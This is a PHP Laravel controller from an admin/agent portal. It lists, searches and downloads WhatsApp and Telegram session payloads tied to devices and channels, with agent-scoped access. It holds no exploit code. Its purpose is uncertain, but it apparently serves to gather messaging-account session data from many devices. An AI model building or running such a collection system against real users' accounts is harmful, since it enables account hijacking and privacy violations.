coruna-lab/app/Http/Controllers/Admin/PluginSessionController.php

<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\PluginSession;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;

class PluginSessionController extends Controller
{
    use PortalAware;

    public function whatsapp()
    {
        return $this->page(PluginSession::KIND_WHATSAPP);
    }

    public function telegram()
    {
        return $this->page(PluginSession::KIND_TELEGRAM);
    }

    public function whatsappData(Request $request)
    {
        return $this->data($request, PluginSession::KIND_WHATSAPP);
    }

    public function telegramData(Request $request)
    {
        return $this->data($request, PluginSession::KIND_TELEGRAM);
    }

    public function payload(PluginSession $pluginSession)
    {
        $this->authorizeSession($pluginSession);

        return response()->json([
            'code' => 0,
            'msg' => '',
            'data' => [
                'id' => $pluginSession->id,
                'kind' => $pluginSession->kind,
                'payload_json' => json_encode(
                    $pluginSession->displayPayload(),
                    JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
                ),
                'download_url' => route($this->portal().'.sessions.download', $pluginSession, false),
            ],
        ]);
    }

    public function download(PluginSession $pluginSession)
    {
        $this->authorizeSession($pluginSession);

        $name = $pluginSession->downloadFilename();
        $path = $pluginSession->payloadPath();
        if ($path !== null && Storage::disk('local')->exists($path)) {
            return Storage::disk('local')->download($path, $name);
        }

        $json = json_encode(
            $pluginSession->fullPayload(),
            JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
        );

        return response()->streamDownload(static function () use ($json) {
            echo $json === false ? '{}' : $json;
        }, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
    }

    private function page(string $kind)
    {
        $agents = $this->isAgentPortal()
            ? collect()
            : User::query()->orderBy('username')->get(['id', 'username']);

        return view('admin.sessions.index', [
            'portal' => $this->portal(),
            'agents' => $agents,
            'kind' => $kind,
            'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数',
        ]);
    }

    private function data(Request $request, string $kind)
    {
        $q = $this->baseQuery($request, $kind);

        $sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
        $field = (string) $request->query('field', 'id');
        $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
        if (! in_array($field, $sortable, true)) {
            $field = 'id';
        }
        $q->orderBy('plugin_sessions.'.$field, $order);

        $limit = max(1, min(100, (int) $request->query('limit', 20)));
        $page = max(1, (int) $request->query('page', 1));
        $paginator = $q->paginate($limit, ['*'], 'page', $page);

        $portal = $this->portal();
        $data = collect($paginator->items())->map(function ($row) use ($portal) {
            /** @var PluginSession $row */
            $summary = $row->listSummary();

            return array_merge($summary, [
                'id' => $row->id,
                'kind' => $row->kind,
                'device_key' => $row->device_key ?: '',
                'channel_id' => $row->device_channel_id ?: '',
                'payload_url' => route($portal.'.sessions.payload', $row, false),
                'download_url' => route($portal.'.sessions.download', $row, false),
                'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
                'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
                'detail_url' => route($portal.'.devices.show', $row->device_id),
            ]);
        })->values();

        return response()->json([
            'code' => 0,
            'msg' => '',
            'count' => $paginator->total(),
            'data' => $data,
        ]);
    }

    private function baseQuery(Request $request, string $kind): Builder
    {
        $q = PluginSession::query()
            ->join('devices', 'devices.id', '=', 'plugin_sessions.device_id')
            ->where('plugin_sessions.kind', $kind)
            ->select([
                'plugin_sessions.*',
                'devices.device_id as device_key',
                'devices.channel_id as device_channel_id',
            ]);

        AgentScope::applyDeviceChannelScope($q, $this->agent());

        $channelId = trim((string) $request->query('channel_id', ''));
        $deviceKey = trim((string) $request->query('device_key', ''));
        $account = trim((string) $request->query('account_id', ''));
        if ($channelId !== '') {
            $q->where('devices.channel_id', 'like', '%'.$channelId.'%');
        }
        if ($deviceKey !== '') {
            $q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
        }
        if ($account !== '') {
            $q->where(function (Builder $inner) use ($account) {
                $inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%')
                    ->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%');
            });
        }
        if (! $this->isAgentPortal()) {
            AgentScope::applyAgentUserFilter(
                $q,
                AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
            );
        }

        return $q;
    }

    private function authorizeSession(PluginSession $session): void
    {
        $device = $session->device;
        abort_unless($device !== null, 404);
        if ($agent = $this->agent()) {
            $ids = AgentScope::channelIdsFor($agent);
            abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
        }
    }
}